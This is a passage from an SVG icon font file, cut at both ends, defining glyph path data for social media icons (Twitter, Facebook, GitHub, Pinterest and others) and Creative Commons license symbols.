	c 10.416,0, 20.787,3.427, 31.069,10.304L 281.702,67.219 z" data-tags="tumblr, social" />
<glyph unicode="&#xe328;" d="M 349.44-23.59c-17.382-8.288-33.152-14.134-47.242-17.472c-14.112-3.315-29.389-5.018-45.763-5.018c-18.614,0-35.056,2.397-49.392,7.146
	c-14.291,4.771-26.477,11.558-36.602,20.317c-10.102,8.848-17.114,18.189-21.011,28.112c-3.92,9.923-5.869,24.304-5.869,43.142L 143.562,197.206 L 98.56,197.206 L 98.56,255.536 
	C 114.554,260.8, 128.285,268.304, 139.664,278.138c 11.424,9.811, 20.563,21.616, 27.485,35.392C 174.048,327.306, 178.774,344.8, 181.395,366.080l 57.904,0 l0-104.182 l 96.656,0 l0-64.691 
	l-96.656,0 l0-105.706 c0-23.878, 1.254-39.222, 3.786-46.032c 2.464-6.765, 7.123-12.186, 13.91-16.24c 9.050-5.466, 19.331-8.198, 30.934-8.198
	c 20.63,0, 41.126,6.787, 61.51,20.339L 349.44-23.59 z" data-tags="tumblr, social" />
<glyph unicode="&#xe329;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 238.694,109.018
	c-13.776,1.075-19.555,7.907-30.352,14.47c-5.958-31.181-13.194-61.062-34.72-76.653c-6.63,47.107, 9.766,82.477, 17.36,120.019
	C 178.013,188.672, 192.55,232.621, 219.901,221.802c 33.667-13.328-29.165-81.178, 13.014-89.667c 44.038-8.848, 62.003,76.406, 34.698,104.115
	c-39.446,40.029-114.822,0.918-105.549-56.403c 2.262-14.022, 16.71-18.256, 5.779-37.61c-25.245,5.6-32.794,25.514-31.808,52.058
	C 137.603,237.773, 175.078,268.192, 212.666,272.426c 47.555,5.309, 92.176-17.45, 98.358-62.182C 317.946,159.731, 289.542,105.075, 238.694,109.018z" data-tags="pinterest, social" />
<glyph unicode="&#xe32a;" d="M 192.998,87.693C 181.238,26.026, 166.88-33.11, 124.32-64c-13.126,93.229, 19.286,163.229, 34.339,237.552
	c-25.67,43.232, 3.091,130.189, 57.254,108.752c 66.64-26.365-57.702-160.675, 25.76-177.453c 87.158-17.517, 122.73,151.2, 68.701,206.058
	C 232.288,390.16, 83.059,312.746, 101.427,199.334c 4.458-27.731, 33.107-36.154, 11.446-74.413c-49.974,11.066-64.893,50.49-62.966,103.040
	C 52.998,313.955, 127.187,374.166, 201.6,382.499c 94.125,10.55, 182.448-34.541, 194.611-123.066c 13.731-99.904-42.448-208.118-143.114-200.323
	C 225.837,61.194, 214.39,74.701, 192.998,87.693z" data-tags="pinterest, social" />
<glyph unicode="&#xe32b;" d="M 203.773,220.816c-5.398,19.040-14.134,24.662-27.731,24.662c-1.456,0-2.934-0.202-4.346-0.582C 165.782,243.216, 161.123,238.288, 158.525,231.008
	C 155.859,223.616, 155.68,215.888, 158.010,207.107c 4.122-15.68, 15.277-27.082, 26.544-27.082c 1.456,0, 2.934,0.202, 4.346,0.582
	C 201.152,184.080, 208.858,202.851, 203.773,220.816z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040c 118.787,0, 215.040,96.275, 215.040,215.040
	S 342.787,375.040, 224,375.040z M 211.613,67.667c-13.53-6.563-28.067-7.258-33.69-7.258c-1.075,0-1.68,0.022-1.77,0.022c0,0-0.426,0-1.098,0
	c-8.781,0-52.483,2.016-52.483,41.821c0,39.11, 47.578,42.157, 62.16,42.157l 0.403,0 C 176.736,155.654, 178.483,166.989, 178.483,166.989
	C 177.744,166.944, 176.646,166.899, 175.325,166.899c-5.51,0-16.106,0.874-25.2,6.765C 138.992,180.81, 133.347,193.018, 133.347,209.93
	c0,47.734, 52.102,49.661, 52.64,49.683l 52.035,0 l0-1.142 c0-5.824-10.438-6.944-17.584-7.93C 218.019,250.205, 213.181,249.712, 211.792,249.018
	c 13.194-7.034, 15.322-18.122, 15.322-34.608c0-18.749-7.347-28.672-15.142-35.661C 207.155,174.448, 203.347,171.021, 203.347,166.496
	c0-4.435, 5.197-9.005, 11.245-14.314c 9.878-8.691, 23.43-20.586, 23.43-40.566C 238.022,90.963, 229.13,76.179, 211.613,67.667z M 325.405,160.202
	l-33.958,0 l0-33.958 l-21.504,0 L 269.942,160.202 l-33.958,0 l0,21.504 l 33.958,0 L 269.942,215.642 l 21.504,0 l0-33.958 l 33.958,0 L 325.405,160.202 z M 184.195,134.218c-1.165,0-2.33-0.045-3.494-0.134
	c-9.946-0.717-19.13-4.458-25.782-10.506c-6.586-5.958-9.923-13.462-9.453-21.078c 0.986-15.904, 18.099-25.245, 38.842-23.744
	c 20.451,1.478, 34.070,13.238, 33.062,29.165C 216.406,122.906, 203.392,134.218, 184.195,134.218z" data-tags="googleplus, social" />
<glyph unicode="&#xe32c;" d="M 44.576,258.806c0-33.443, 11.178-57.613, 33.197-71.792c 18.032-11.626, 38.976-13.373, 49.862-13.373c 2.643,0, 4.749,0.112, 6.227,0.202
	c0,0-3.45-22.467, 13.216-44.71l-0.762,0.022c-28.874,0-123.066-6.048-123.066-83.485c0-78.781, 86.509-82.768, 103.846-82.768
	c 1.366,0, 2.15,0.022, 2.15,0.022c 0.202,0, 1.434-0.045, 3.539-0.045c 11.133,0, 39.917,1.389, 66.662,14.403
	c 34.675,16.822, 52.282,46.122, 52.282,87.024c0,39.536-26.79,63.056-46.368,80.259c-11.939,10.483-22.266,19.533-22.266,28.336
	c0,8.96, 7.526,15.702, 17.069,24.237c 15.411,13.798, 29.971,33.443, 29.971,70.582c0,32.659-4.234,54.566-30.33,68.454
	c 2.733,1.389, 12.342,2.397, 17.114,3.069c 14.134,1.926, 34.81,4.122, 34.81,15.658L 251.731,357.12 L 148.736,357.12 C 147.706,357.098, 44.576,353.267, 44.576,258.806z
	 M 210.851,56.915c 1.971-31.494-24.976-54.746-65.43-57.68c-41.082-3.024-74.928,15.478-76.899,46.973c-0.941,15.12, 5.69,29.926, 18.704,41.731
	c 13.216,11.939, 31.315,19.309, 51.050,20.787c 2.33,0.134, 4.637,0.246, 6.944,0.246C 183.232,108.973, 208.992,86.618, 210.851,56.915z M 183.949,280.378
	c 10.102-35.549-5.152-72.71-29.456-79.565C 151.693,200.029, 148.803,199.626, 145.891,199.626c-22.288,0-44.352,22.534-52.528,53.581
	C 88.794,270.656, 89.152,285.888, 94.394,300.56C 99.546,314.963, 108.797,324.73, 120.445,328c 2.8,0.806, 5.712,1.187, 8.624,1.187
	C 155.949,329.187, 173.242,318.032, 183.949,280.378z M 357.526,202.963l0,67.2 l-42.56,0 l0-67.2 l-67.2,0 l0-42.56 l 67.2,0 l0-67.2 l 42.56,0 l0,67.2 l 67.2,0 l0,42.56 L 357.526,202.963 z" data-tags="googleplus, social" />
<glyph unicode="&#xe32d;" d="M 368.48,352.64L 79.52,352.64 C 53.043,352.64, 31.36,330.957, 31.36,304.48l0-288.96 c0-26.499, 21.683-48.138, 48.138-48.138l 146.138,0 l0,138.141 l-46.144,0 L 179.491,165.69 l 46.144,0 L 225.635,195.84 
	c0,46.48, 34.317,82.88, 78.131,82.88l 42.515,0 l0-67.962 l-38.058,0 c-9.946,0-12.858-5.712-12.858-13.597l0-31.45 l 50.915,0 l0-60.189 l-50.915,0 L 295.366-32.64 l 73.091,0 
	c 26.499,0, 48.138,21.661, 48.138,48.138L 416.595,304.48 C 416.64,330.957, 394.979,352.64, 368.48,352.64z" data-tags="facebook, social" />
<glyph unicode="&#xe32e;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 274.915,226.438L 242.592,226.438 
	c-3.808,0-8.064-5.040-8.064-11.738l0-23.341 l 40.41,0 l0-33.286 L 234.528,158.074 l0-99.926 L 196.358,58.147 l0,99.926 L 161.773,158.074 L 161.773,191.338 l 34.586,0 L 196.358,210.915 
	c0,28.090, 19.488,50.915, 46.234,50.915l 32.323,0 L 274.915,226.438 z" data-tags="facebook, social" />
<glyph unicode="&#xe32f;" d="M 336,291.51l-63.974,0 c-7.571,0-16.016-9.946-16.016-23.274L 256.010,222.048 L 336,222.048 l0-65.856 l-79.99,0 L 256.010-41.6 L 180.477-41.6 l0,197.77 L 112,156.17 L 112,222.048 l 68.477,0 L 180.477,260.8 
	c0,55.574, 38.573,100.8, 91.526,100.8L 336,361.6 L 336,291.51 z" data-tags="facebook, social" />
<glyph unicode="&#xe330;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 311.45,198.864
	c 0.090-1.814, 0.134-3.651, 0.134-5.488c0-55.955-42.605-120.49-120.512-120.49c-23.901,0-46.189,6.989-64.915,19.040
	c 3.315-0.403, 6.698-0.582, 10.102-0.582c 19.846,0, 38.102,6.765, 52.618,18.144c-18.525,0.336-34.182,12.589-39.581,29.389
	c 2.576-0.493, 5.242-0.762, 7.952-0.762c 3.875,0, 7.616,0.515, 11.155,1.478c-19.354,3.898-33.981,21.011-33.981,41.53
	c0,0.179,0,0.358, 0.022,0.515C 140.157,178.48, 146.698,176.576, 153.619,176.352C 142.285,183.946, 134.803,196.893, 134.803,211.61
	c0,7.773, 2.083,15.053, 5.734,21.302C 161.414,207.264, 192.64,190.397, 227.83,188.65c-0.717,3.091-1.098,6.317-1.098,9.654
	c0,23.386, 18.973,42.358, 42.358,42.358c 12.186,0, 23.184-5.13, 30.912-13.373c 9.654,1.882, 18.726,5.398, 26.902,10.259
	c-3.181-9.878-9.878-18.189-18.637-23.43c 8.579,1.030, 16.733,3.293, 24.326,6.675C 326.928,212.304, 319.715,204.845, 311.45,198.864z" data-tags="twitter, social" />
<glyph unicode="&#xe331;" d="M 430.080,287.837c-15.187-6.742-31.472-11.267-48.586-13.328c 17.472,10.461, 30.89,27.037, 37.184,46.771c-16.33-9.677-34.429-16.733-53.67-20.518
	c-15.434,16.442-37.408,26.701-61.734,26.701c-46.704,0-84.56-37.856-84.56-84.538c0-6.63, 0.739-13.082, 2.195-19.264
	c-70.269,3.517-132.586,37.184-174.272,88.346C 39.334,299.53, 35.146,284.992, 35.146,269.491c0-29.344, 14.941-55.216, 37.632-70.381
	c-13.866,0.448-26.902,4.234-38.304,10.573c0-0.358,0-0.694,0-1.053c0-40.97, 29.165-75.13, 67.827-82.925c-7.078-1.926-14.56-2.957-22.288-2.957
	c-5.443,0-10.73,0.515-15.904,1.501c 10.752-33.6, 42-58.038, 78.982-58.71c-28.941-22.691-65.386-36.198-105.011-36.198
	c-6.832,0-13.552,0.403-20.16,1.187c 37.408-23.99, 81.85-37.99, 129.629-37.99c 155.523,0, 240.576,128.845, 240.576,240.598
	c0,3.651-0.067,7.302-0.246,10.931C 404.41,255.984, 418.723,270.88, 430.080,287.837z" data-tags="twitter, social" />
<glyph unicode="&#xe332;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 322.56,201.418
	c-11.379-65.341-74.995-120.646-94.102-133.28c-19.13-12.611-36.579,5.085-42.918,18.435C 178.304,101.827, 156.576,184.55, 150.886,191.382
	C 145.197,198.259, 128.15,184.55, 128.15,184.55L 119.885,195.616c0,0, 34.653,42.157, 61.018,47.398c 27.955,5.6, 27.91-43.702, 34.63-71.098
	c 6.518-26.499, 10.886-41.642, 16.554-41.642c 5.69,0, 16.554,14.762, 28.448,37.408c 11.917,22.691-0.493,42.694-23.789,28.47
	C 246.019,253.027, 333.962,266.736, 322.56,201.418z" data-tags="vimeo, social" />
<glyph unicode="&#xe333;" d="M 423.584,253.162c-22.534-129.293-148.4-238.784-186.256-263.782c-37.878-24.998-72.397,10.013-84.941,36.512
	C 138.051,56.064, 95.066,219.808, 83.798,233.338C 72.554,246.934, 38.774,219.808, 38.774,219.808L 22.4,241.67c0,0, 68.589,83.44, 120.781,93.856
	c 55.328,11.043, 55.238-86.554, 68.544-140.739c 12.88-52.438, 21.526-82.454, 32.749-82.454c 11.267,0, 32.749,29.254, 56.291,74.077
	c 23.587,44.867-1.008,84.47-47.085,56.314C 272.093,355.35, 446.118,382.432, 423.584,253.162z" data-tags="vimeo, social" />
<glyph unicode="&#xe334;" d="M 224,375.040C 105.235,375.040, 8.96,278.765, 8.96,160S 105.235-55.040, 224-55.040S 439.040,41.235, 439.040,160S 342.787,375.040, 224,375.040z M 166.544,114.73
	c-24.528,0-44.397,20.25-44.397,45.27c0,25.021, 19.869,45.27, 44.397,45.27c 24.528,0, 44.419-20.25, 44.419-45.27
	C 210.941,134.979, 191.072,114.73, 166.544,114.73z M 281.434,114.73c-24.55,0-44.419,20.25-44.419,45.27c0,25.021, 19.869,45.27, 44.419,45.27
	c 24.506,0, 44.397-20.25, 44.397-45.27C 325.853,134.979, 305.939,114.73, 281.434,114.73z" data-tags="flickr, social" />
<glyph unicode="&#xe335;" d="M 110.275,70.4C 61.734,70.4, 22.4,110.474, 22.4,160s 39.334,89.6, 87.875,89.6c 48.541,0, 87.898-40.096, 87.898-89.6S 158.816,70.4, 110.275,70.4z M 337.702,70.4
	c-48.563,0-87.942,40.074-87.942,89.6s 39.379,89.6, 87.942,89.6C 386.221,249.6, 425.6,209.504, 425.6,160S 386.221,70.4, 337.702,70.4z" data-tags="flickr, social" />
<glyph unicode="&#xe336;" d="M 224.314,161.142c-0.112,0-0.224,0-0.314,0c-0.134,0-0.224,0-0.336,0c-26.678,0-50.198,6.765-64.109-6.026
	c-8.333-7.661-11.827-16.867-11.827-26.79c0-41.507, 33.242-46.592, 75.936-46.592l 0.627,0 c 42.694,0, 75.936,5.107, 75.936,46.592
	c0,9.923-3.494,19.13-11.85,26.79C 274.534,167.907, 250.992,161.142, 224.314,161.142z M 188.026,104.448c-8.131,0-14.717,9.117-14.717,20.362
	s 6.586,20.362, 14.717,20.362s 14.717-9.117, 14.717-20.362S 196.134,104.448, 188.026,104.448z M 259.952,104.448c-8.086,0-14.694,9.117-14.694,20.362
	s 6.586,20.362, 14.694,20.362c 8.131,0, 14.739-9.117, 14.739-20.362S 268.106,104.448, 259.952,104.448z M 224,375.040C 105.235,375.040, 8.96,278.765, 8.96,160
	S 105.235-55.040, 224-55.040c 118.72,0, 215.018,96.275, 215.018,215.040S 342.742,375.040, 224,375.040z M 243.6,71.744c-3.853,0-11.514,0-19.6-0.022
	C 215.891,71.744, 208.23,71.744, 204.4,71.744c-17.046,0-84.515,1.322-84.515,82.634c0,18.704, 6.406,32.39, 16.912,43.792
	C 135.117,202.314, 135.027,225.811, 143.965,248.256c0,0, 20.518-2.24, 51.52-23.52c 6.496,1.792, 17.494,2.688, 28.515,2.688c 10.976,0, 21.997-0.896, 28.515-2.688
	c 31.024,21.28, 51.498,23.52, 51.498,23.52c 8.915-22.467, 8.87-45.965, 7.168-50.086c 10.506-11.402, 16.934-25.088, 16.934-43.792
	C 328.115,73.043, 260.669,71.744, 243.6,71.744z" data-tags="github, social" />
<glyph unicode="&#xe337;" d="M 295.232,130.656c-16.083,0-29.12-18.054-29.12-40.298c0-22.266, 13.037-40.32, 29.12-40.32s 29.12,18.054, 29.12,40.32
	C 324.33,112.624, 311.293,130.656, 295.232,130.656z M 396.614,235.578c 3.315,8.176, 3.472,54.656-14.202,99.142c0,0-40.589-4.435-101.965-46.57
	c-12.88,3.562-34.675,5.331-56.448,5.331c-21.795,0-43.568-1.792-56.47-5.331C 106.176,330.285, 65.61,334.72, 65.61,334.72
	C 47.936,290.234, 48.070,243.754, 51.408,235.578C 30.621,212.998, 17.92,185.894, 17.92,148.867c0-160.966, 133.549-163.542, 167.261-163.542
	c 7.638,0, 22.826-0.022, 38.842-0.045c 16.016,0.022, 31.203,0.045, 38.797,0.045c 33.734,0, 167.261,2.576, 167.261,163.542
	C 430.080,185.894, 417.402,212.998, 396.614,235.578z M 224.627,5.104L 223.395,5.104 c-84.493,0-150.304,10.080-150.304,92.198c0,19.667, 6.966,37.923, 23.43,53.066
	c 27.53,25.245, 74.054,11.872, 126.874,11.872c 0.202,0, 0.426,0, 0.627,0.022c 0.224,0, 0.426-0.022, 0.605-0.022c 52.819,0, 99.366,13.373, 126.874-11.872
	c 16.464-15.142, 23.408-33.398, 23.408-53.066C 374.909,15.184, 309.142,5.104, 224.627,5.104z M 152.79,130.656c-16.083,0-29.12-18.054-29.12-40.298
	c0-22.266, 13.037-40.32, 29.12-40.32s 29.12,18.054, 29.12,40.32C 181.91,112.624, 168.874,130.656, 152.79,130.656z" data-tags="github, social" />
<glyph unicode="&#xe338;" d="M 224,361.6c-164.349,0-201.6-37.274-201.6-201.6c0-164.326, 37.251-201.6, 201.6-201.6s 201.6,37.274, 201.6,201.6C 425.6,324.326, 388.349,361.6, 224,361.6z" data-tags="daniel bruce" />
<glyph unicode="&#xe339;" d="M 305.984,110.989c 28.358,0.739, 53.85,15.702, 68.902,41.754c 23.722,41.082, 10.282,90.63-35.392,116.995l-28.605,16.531l 47.914,83.014L 333.29,384
		l-92.624-160.384c-7.213,17.786-21.034,33.802-41.059,45.338L 145.466,300.246L 61.6,154.982l 54.141-31.27c 20.026-11.558, 40.835-15.411, 59.92-12.701
		L 83.104-49.261L 108.64-64l 47.936,82.992l 28.627-16.509c 45.674-26.365, 95.558-12.835, 119.258,28.269C 319.469,56.781, 319.558,86.214, 305.984,110.989z
		 M 326.122,246.486c 30.486-17.606, 38.326-50.064, 21.795-78.691c-16.531-28.65-48.339-37.677-78.848-20.070L 240.8,164.032
		c 0.336,0.806, 0.605,1.613, 0.896,2.419l 55.776,96.589L 326.122,246.486z M 129.158,146.963L 100.531,163.494l 57.008,98.784l 28.65-16.531
		c 30.486-17.606, 38.304-50.064, 21.795-78.714C 191.453,138.384, 159.667,129.334, 129.158,146.963z M 198.621,25.712l-28.65,16.531l 55.843,96.678
		c 0.515,0.627, 1.053,1.232, 1.546,1.882l 28.269-16.33c 30.531-17.584, 38.326-50.064, 21.84-78.714C 260.915,17.133, 229.107,8.106, 198.621,25.712z
		" data-tags="daniel bruce" />
<glyph unicode="&#xe33a;" d="M 364.538,156.147l-42.627,17.696L 321.91,227.2 l-131.712,54.544L 131.846,256.029l0-60.749 L 132.205,194.944L 80.752,173.44l0-55.306 l 54.902-23.789l 55.686,23.027
	l 3.83-1.523l 112.515-46.48l 2.666-0.762l 2.33,0.762l 52.214,22.266l 3.83,1.949l0,60.682 L 364.538,156.147z M 303.475,85.52l-0.381,0.358
	l0-0.358 L 204.422,126.176L 204.422,165.376 l 98.672-40.387l0-1.523 l 0.381,0 L 303.475,85.52 z M 310.016,135.427L 278.902,148.8l 33.802,14.291l 31.875-13.462L 310.016,135.427z
	 M 355.309,102.387l-38.394-16.509l0,37.61 l 38.394,16.173L 355.309,102.387 z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040
	S 342.765,375.040, 224,375.040z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z" data-tags="cc-share, creative commons" />
<glyph unicode="&#xe33b;" d="M 311.942,221.421l-46.861,0 L 265.082,268.282 c0,3.315-1.142,6.138-3.45,8.467c-2.307,2.285-5.13,3.45-8.445,3.45L 134.915,280.198 
	C 131.846,279.683, 129.27,278.317, 127.254,276.166C 125.194,273.994, 124.163,271.373, 124.163,268.282l0-158.189 c0-3.315, 1.165-6.138, 3.45-8.445
	s 5.13-3.45, 8.445-3.45l 46.861,0 l0-46.861 c0-3.315, 1.142-6.138, 3.45-8.445c 2.307-2.307, 5.13-3.45, 8.445-3.45l 117.13,0 
	c 3.315,0, 6.138,1.165, 8.445,3.45s 3.45,5.13, 3.45,8.445L 323.837,209.526 c0,3.315-1.165,6.138-3.45,8.445
	C 318.080,220.278, 315.258,221.421, 311.942,221.421z M 193.29,221.421C 190.467,220.928, 188.048,219.562, 185.987,217.389S 182.918,212.618, 182.918,209.526l0-87.92 L 147.594,121.606 
	L 147.594,256.387 l 94.080,0 l0-34.966 L 193.29,221.421 z M 300.406,63.232l-94.080,0 L 206.326,198.013 l 94.080,0 L 300.406,63.232 z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040
	s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616
	S 320.992-15.616, 224-15.616z" data-tags="cc-share, creative commons" />
<glyph unicode="&#xe33c;" d="M 224,283.76c-70.986,0-88.838-66.976-88.838-123.76S 153.014,36.218, 224,36.218c 71.008,0, 88.861,66.998, 88.861,123.782S 295.008,283.76, 224,283.76z
	 M 185.763,160c0,24.998, 1.725,77.101, 38.237,77.101c 2.89,0, 5.51-0.47, 7.974-1.075c 5.13-4.39, 7.616-10.483, 2.71-18.973l-47.264-86.89
	C 185.965,141.162, 185.763,151.981, 185.763,160z M 224,82.922c-2.867,0-5.51,0.291-7.952,0.896c-0.47,0.134-0.918,0.291-1.389,0.448
	c-0.739,0.246-1.546,0.47-2.262,0.762c-8.109,3.45-13.238,9.722-5.869,20.787l 52.842,91.258c 2.509-13.35, 2.867-27.283, 2.867-37.050
	C 262.259,134.979, 260.512,82.922, 224,82.922z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040
	z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z" data-tags="cc-zero, creative commons" />
<glyph unicode="&#xe33d;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 57.859,216.896l 69.194-30.598
	c-1.747-8.893-2.688-18.166-2.688-27.686c0-85.859, 64.064-110.029, 104.384-110.029c 23.789,0, 44.33,7.661, 60.435,18.928
	c 3.069,2.195, 5.846,4.39, 8.4,6.653l-31.338,38.080c-0.918-1.053-1.882-2.038-2.867-2.934c-12.208-11.581-25.603-11.581-28.582-11.581
	c-32.502,0-46.256,33.958-46.682,61.533l 189.75-83.978c-29.904-54.186-87.584-90.899-153.843-90.899c-96.992,0-175.616,78.624-175.616,175.616
	C 48.384,179.936, 51.766,199.043, 57.859,216.896z M 197.389,201.53C 204.422,214.253, 216.070,224.288, 232.758,224.288c 9.699,0, 17.36-3.226, 23.408-7.258
	c 2.509-1.814, 4.682-3.629, 6.518-5.443l 35.011,36.019c-23.52,20.227-50.243,23.834-67.738,23.834c-41.082,0-70.851-18.39-88.010-45.36
	L 76.406,255.11C 107.677,303.517, 162.064,335.616, 224,335.616c 96.992,0, 175.616-78.624, 175.616-175.616c0-15.68-2.083-30.867-5.936-45.293L 197.389,201.53z" data-tags="cc-pd, creative commons" />
<glyph unicode="&#xe33e;" d="M 145.869,173.821l 156.307,0 L 302.176,210.691 L 145.869,210.691 L 145.869,173.821 z M 145.869,104.694l 156.307,0 l0,36.87 L 145.869,141.565 L 145.869,104.694 z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040
	s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616
	s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z" data-tags="cc-nd, creative commons" />
<glyph unicode="&#xe33f;" d="M 222.88,273.277c-24.595,0-45.45-7.213-62.608-21.683s-27.776-34.899-31.875-61.242L 111.53,190.352 l 42.605-42.627l 42.627,42.627L 181.014,190.352 
	c 3.584,25.334, 19.712,37.99, 48.384,37.99c 15.859,0, 28.045-5.936, 36.467-17.853c 8.467-11.894, 12.678-29.254, 12.678-52.013
	c0-21.773-4.614-39.178-13.821-52.214c-9.229-13.059-21.392-19.6-36.467-19.6c-30.24,0-45.987,13.059-47.242,39.178L 126.874,125.84 
	c 3.584-26.88, 14.202-47.622, 31.875-62.205c 17.651-14.582, 38.662-21.885, 62.966-21.885c 33.062,0, 59.92,10.931, 80.662,32.816
	c 20.742,21.907, 31.114,49.347, 31.114,82.387c0,34.048-9.99,61.958-29.949,83.686C 283.539,262.39, 256.659,273.277, 222.88,273.277z M 224,375.040
	c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616
	S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z" data-tags="cc-sa, creative commons" />
<glyph unicode="&#xe340;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 56.224,211.968l 109.469-48.742L 141.456,163.226 
	l0-33.488 l 50.355,0 l 4.928-10.192l0-16.24 L 141.456,103.306 l0-33.466 l 55.283,0 l0-48.608 l 53.514,0 l0,48.608 l 55.664,0 l0,30.934 l 68.925-30.688C 344.198,18.768, 288.109-15.616, 224-15.616
	c-96.992,0-175.616,78.624-175.616,175.616C 48.384,178.099, 51.117,195.549, 56.224,211.968z M 250.275,103.328l0,16.24 l 2.509,4.883l 47.443-21.101L 250.275,103.35 z
	 M 305.917,147.837L 305.917,163.248 l-33.466,0 l 54.611,100.576l-57.075,0 l-37.587-83.238L 212.419,189.456L 178.080,263.824L 121.005,263.824 L 144.704,219.629L 73.875,251.146
	C 104.698,301.792, 160.384,335.616, 224,335.616c 96.992,0, 175.616-78.624, 175.616-175.616c0-17.584-2.621-34.541-7.414-50.557L 305.917,147.837z" data-tags="cc-nc-jp, creative commons" />
<glyph unicode="&#xe341;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 57.859,216.896l 56.358-24.931L 110.096,191.965 
	l0-25.558 l 20.16,0 c0-3.606-0.358-7.19-0.358-10.797l0-6.115 L 110.096,149.494 l0-25.558 L 133.504,123.936 c 3.248-19.107, 10.438-34.563, 20.138-46.816
	c 20.16-26.634, 52.573-41.037, 87.853-41.037c 23.027,0, 43.904,6.854, 56.157,13.686l-8.646,39.939c-7.571-3.965-24.483-9.341-41.037-9.341
	c-18.010,0-34.922,5.376-46.435,18.346c-5.398,6.093-9.363,14.403-11.85,25.2l 78.243,0 l 109.894-48.653C 347.917,21.098, 290.259-15.616, 224-15.616
	c-96.992,0-175.616,78.624-175.616,175.616C 48.384,179.936, 51.766,199.043, 57.859,216.896z M 276.797,166.406l 3.226,0 L 280.022,191.965 L 219.050,191.965 L 194.32,202.918
	C 196.448,207.712, 198.957,211.99, 201.914,215.35C 213.069,229.037, 228.906,234.816, 246.176,234.816c 15.837,0, 30.576-4.682, 39.939-8.669l 10.080,41.059
	c-12.97,5.757-32.054,10.774-53.984,10.774c-33.846,0-62.63-13.664-83.149-36.714c-4.57-5.264-8.512-11.178-12.096-17.405l-70.56,31.226
	C 107.677,303.517, 162.064,335.616, 224,335.616c 96.992,0, 175.616-78.624, 175.616-175.616c0-15.68-2.083-30.867-5.936-45.315L 276.797,166.406z" data-tags="cc-nc-eu, creative commons" />
<glyph unicode="&#xe342;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 58.128,217.658l 109.088-48.854
	l 34.16-14.963l 25.357-11.536l 20.742-8.848c 3.853-3.315, 5.779-7.661, 5.779-13.037c0-7.706-2.643-13.194-7.885-16.509
	c-5.242-3.315-11.603-4.995-19.018-4.995c-17.942,0-33.936,6.518-48.026,19.578l-29.546-29.949c 19.712-16.89, 41.485-25.491, 65.274-25.715l0-33.040 
	l 24.954,0 l0,33.040 c 14.829,1.277, 27.709,6.182, 38.595,14.784c 10.864,8.579, 17.741,19.622, 20.541,33.197l 79.722-35.504
	C 347.984,21.12, 290.282-15.616, 224-15.616c-96.992,0-175.616,78.624-175.616,175.616C 48.384,180.205, 51.834,199.603, 58.128,217.658z M 284.726,163.069l-34.563,15.366
	L 231.347,186.88L 204.064,199.155c-1.277,1.792-1.904,3.584-1.904,5.376c0,6.138, 2.621,10.506, 7.885,13.059c 5.219,2.554, 11.178,3.853, 17.853,3.853
	c 12.544,0, 24.819-4.234, 36.87-12.678l 28.045,28.806c-16.15,12.298-34.070,18.95-53.76,19.981L 239.053,290.547 L 214.077,290.547 l0-33.018 
	C 200.749,256.768, 189.101,252.96, 179.11,246.218C 169.142,239.408, 162.355,230.403, 158.771,219.136l-81.872,36.736C 108.237,303.853, 162.4,335.616, 224,335.616
	c 96.992,0, 175.616-78.624, 175.616-175.616c0-15.747-2.106-31.002-6.003-45.494L 284.726,163.069z" data-tags="cc-nc, creative commons" />
<glyph unicode="&#xe343;" d="M 224,238.736c 19.981,0, 29.971,9.968, 29.971,29.926c0,20.227-9.99,30.33-29.971,30.33S 194.051,288.89, 194.051,268.662
		C 194.051,248.704, 204.019,238.736, 224,238.736zM 268.173,227.178L 179.85,227.178 c-3.853,0-7.101-1.344-9.811-4.032s-4.032-5.958-4.032-9.789l0-87.942 l 24.573,0 l0-104.451 l 66.797,0 l0,104.451 l 24.595,0 L 281.971,213.379 
